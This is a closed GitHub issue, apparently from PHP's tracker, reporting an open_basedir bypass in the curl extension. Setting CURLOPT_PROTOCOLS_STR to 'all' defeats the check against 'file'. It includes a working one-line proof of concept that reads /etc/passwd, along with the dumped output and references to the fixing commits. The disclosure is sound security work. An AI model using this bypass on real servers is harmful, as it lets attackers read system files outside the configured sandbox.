Skip to content

open_basedir bypass using curl extension #16802

Closed

Description

@parrot409

Description

at ext/curl/interface.c there is a check to make sure that the value does not contain the string "file" but it's possible to bypass this by passing "all" since CURL supports this.

$ docker run -ti php@sha256:62a9d2183e1039f4d06d7f1bbfa8de7ccebf04fc4d3d849939648150d1000237 php -d 'open_basedir=/nowhere' -r 'echo phpversion()."\n"; $ch = curl_init("file:///etc/passwd");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);'
8.3.13
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

PHP Version

PHP 8.3.13

Operating System

Ubuntu 22.04.3

Activity

  1. changed the title [-]open_basedir bypass using curl[/-] [+]open_basedir bypass using curl extension[/+] on Nov 14, 2024
  2. self-assigned this
    on Nov 14, 2024
  3. added a commit that references this issue on Nov 14, 2024
    181a7d2
  4. added 3 commits that reference this issue on Nov 15, 2024
    1b803bc
    2c532cf
    179ca2b
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions